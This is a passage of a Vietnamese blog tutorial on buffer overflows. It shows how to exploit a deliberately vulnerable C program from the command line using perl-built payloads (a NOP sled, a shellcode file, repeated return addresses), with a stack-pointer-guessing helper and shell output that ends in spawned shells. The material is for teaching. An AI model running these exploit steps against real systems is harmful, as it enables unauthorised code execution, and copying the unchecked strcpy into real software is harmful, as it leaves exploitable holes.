Nếu theo mẹo lần trước viết chương trình để khai thác thì mất thì giờ quá. Một trong những lý do mà Unix được dân kỹ thuật yêu thích là khả năng làm được tỉ chuyện từ command line. Lần này ta thử khai thác lại chương trình vuln_lb.c
(với buffer dài, thừa dài để bỏ shellcode vào) mà chỉ dùng command line. (Chương trình này có trong một bài trước.) Ta vẫn dùng nguyên tắc thiết kế data có ba đoạn NNNCCCAAA
như lần trước.
Để kiến tạo đoạn data cho vuln_lb.c
, ta cần biết hai thứ: (a) làm thế nào để đưa data này làm dữ liệu nhập của chương trình dùng command line, và (b) làm thế nào để “đoán” được địa chỉ A
của buffer bị tràn (ít nhất là đoán đúng với sai số khoảng bằng chiều dài cái NOP-sled).
Đầu tiền, ta học cách kiến tạo và feed data vào chương trình bị lỗi. Viết lại vuln_lb.c
để nó in ra địa chỉ của buffer (vì ta sẽ giải quyết vấn đề tìm địa chỉ này sau):
/*
* vuln_lb.c
* This is a vulnerable program with a large buffer
*/
#include
int main(int argc, char **argv) {
char buffer[500];
printf(" -- My buffer is at %p (Program Screaming to be Hacked)\n", buffer);
if (argv[1] != NULL) {
strcpy(buffer, argv[1]);
}
return 0;
}
Như vậy, vuln_lb.c
tự hét lên: “hack tôi đi, hack tôi đi” . Chạy thử:
[NQH] hanoi:~/BO$ vuln_lb
-- My buffer is at 0xbffff790 (Program Screaming to be Hacked)
Thế là ta đã biết địa chỉ buffer của vuln_lb.c
. Trước khi kiến thiết data cho nó, ta cần biết một trick đơn giản của perl
và lập trình shell:
[NQH] hanoi:~/BO$ perl -e 'print "AB"x20;'
ABABABABABABABABABABABABABABABABABABABAB[NQH] hanoi:~/BO$
À ha, ta có thể dùng perl
để in lập lại bao nhiêu lần một chuỗi tùy hỉ. Ta sẽ cần mẹo này để in vài trăm bytes NOP-sled và vài trăm bytes return addresses.
Vì bây giờ ta biết return address là gì, ta chưa cần NOP-sled vội (nghĩa là chỉ cần CCCCAAAAAA
là đủ). Cái shellcode ex10.asm
lần trước dài 43 bytes, cộng với khoảng 200 copies của return addresses đủ để tràn cái buffer 500 bytes.
Nhớ là cấu hình Intel dùng little-endian, ta phải in các bytes của return address 0xbffff790
theo thứ tự ngược lại. Thử nhé:
[NQH] hanoi:~/BO$ vuln_lb `cat ex10``perl -e 'print "\x90\xf7\xff\xbf"x200;'`
-- My buffer is at 0xbffff450 (Program Screaming to be Hacked)
Segmentation fault
Tại sao lại bị segmentation fault? Nếu chú ý kỹ bạn sẽ thấy rằng cái return address không còn là 0xbffff790
nữa, mà là 0xbffff450
. Lý do là vì chương trình vuln_lb
lần này được chạy với argv
dài (chứ không phải không có gì như lần đầu), và vì thế argc, argv
“đẩy” địa chỉ của các biến khác trong chương trình xuống thấp hơn. (Xem lại process memory map.) Thử lại với địa chỉ mới:
[NQH] hanoi:~/BO$ vuln_lb `cat ex10``perl -e 'print "\x50\xf4\xff\xbf"x200;'`
-- My buffer is at 0xbffff450 (Program Screaming to be Hacked)
Segmentation fault
Hừm, vẫn bị segmentation fault? Lần này return address thì đúng rồi (vì tổng số bytes của argv
vẫn như lần trước). Lỗi nằm ở chỗ khác. Số là ex10
chỉ có 43 bytes, và như thế 200 cái return address theo sau không được aligned đúng. Khoảng cách tử buffer đến chỗ để return address luôn là bội số của 4 (cho cấu hình 32 bits). Vì thế, các return address của chúng ta phải được aligned khớp vào với cái return address định đánh tràn. Đơn giản thôi, ta thêm 1 byte NOP vào đầu để cho NOP cộng shellcode chia hết cho 4 là xong:
[NQH] hanoi:~/BO$ vuln_lb `perl -e 'print "\x90";'``cat ex10``perl -e
'print "\x50\xf4\xff\xbf"x200;'`
-- My buffer is at 0xbffff440 (Program Screaming to be Hacked)
Segmentation fault
Vẫn chưa đúng, nhưng lần này ta thay đổi chiều dài của argv
, vì thế thay đổi return address thành 0xbffff440
. Chữa lại lần cuối:
[NQH] hanoi:~/BO$ vuln_lb `perl -e 'print "\x90";'``cat ex10``perl -e
'print "\x40\xf4\xff\xbf"x200;'`
-- My buffer is at 0xbffff440 (Program Screaming to be Hacked)
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$
Tuyệt! Bạn cũng thấy rõ rằng, dù đã có “gián điệp” báo cho biết return address là gì, ta vẫn phải suy nghĩ và thử một lúc mới khai thác được chương trình đơn giản này. Dĩ nhiên, nếu có NOP-sled dài thì quá trình này sẽ được đơn giản hóa rất nhiều. Ví dụ:
[NQH] hanoi:~/BO$ vuln_lb `perl -e 'print "\x90"x201;'``cat ex10``perl -e
'print "\x40\xf4\xff\xbf"x200;'`
-- My buffer is at 0xbffff380 (Program Screaming to be Hacked)
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$
Với 201 bytes NOP-sled, ta không cần đoán chính xác địa chỉ 0xbffff380
, mà chỉ cần dùng ước đoán cũ là bffff440
là đủ.
Thế, nếu ta không có “gián điệp nằm vùng” thì làm thế nào? Ta có thể viết một chương trình nho nhỏ để đoán stackpointer. Chuyể stack pointer xuống vài trăm/ngàn bytes và thử vài lần ta sẽ đoán đúng vào đoạn NOP-sled.
/*
* test_sp.c
* The program prints out its stack pointer
*/
unsigned long sp(void) {
__asm__("movl %esp, %eax"); // %eax contains the returned value
}
int main(int argc, char* argv[]) {
unsigned long esp = sp();
unsigned int offset = 0;
if (argc == 2) {
offset = atoi(argv[1]);
}
printf("ESP = 0x%x\n", esp);
printf("offset = 0x%x\n", offset);
printf("ESP - offset = 0x%x\n", esp-offset);
}
Ta tăng dần cái offset cho đến khi tầm ngắm “đúng tọa độ”:
[NQH] hanoi:~/BO$ ./sp 1300
ESP = 0xbffff988
offset = 0x514
ESP - offset = 0xbffff474
[NQH] hanoi:~/BO$ vuln_lb `perl -e 'print "\x90"x201;'``cat ex10``perl -e
'print "\x74\xf4\xff\xbf"x200;'`
Illegal instruction
[NQH] hanoi:~/BO$ ./sp 1400
ESP = 0xbffff988
offset = 0x578
ESP - offset = 0xbffff410
[NQH] hanoi:~/BO$ vuln_lb `perl -e 'print "\x90"x201;'``cat ex10``perl -e
'print "\x10\xf4\xff\xbf"x200;'`
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$ ./sp 1500
ESP = 0xbffff988
offset = 0x5dc
ESP - offset = 0xbffff3ac
[NQH] hanoi:~/BO$ vuln_lb `perl -e 'print "\x90"x201;'``cat ex10``perl -e
'print "\xac\xf3\xff\xbf"x200;'`
sh-2.05b$ exit
exit
Thành công rồi!
Tuy nhiên, nhiều chương trình có buffer không đủ lớn để có NOP-sled dài như vậy. Thậm chí buffer có thể không đủ lớn để bỏ shellcode vào. Nếu buffer đủ lớn để bỏ shellcode thì ta phải có nhiều kinh nghiệm và thí nghiệm để đoán chính xác buffer ở đâu. Nếu buffer không đủ lớn để bỏ shellcode vào thì ta phải tìm chỗ khác để bỏ nó vào thôi. Lần tới ta sẽ nói về đề tài này.
Reflink: http://www.procul.org/blog/2006/06/13/l%E1%BB%97i-tran-b%E1%BB%99-o%E1%BB%87m-8-cnn-b%E1%BA%A3n-v%E1%BB%81-shellcodes/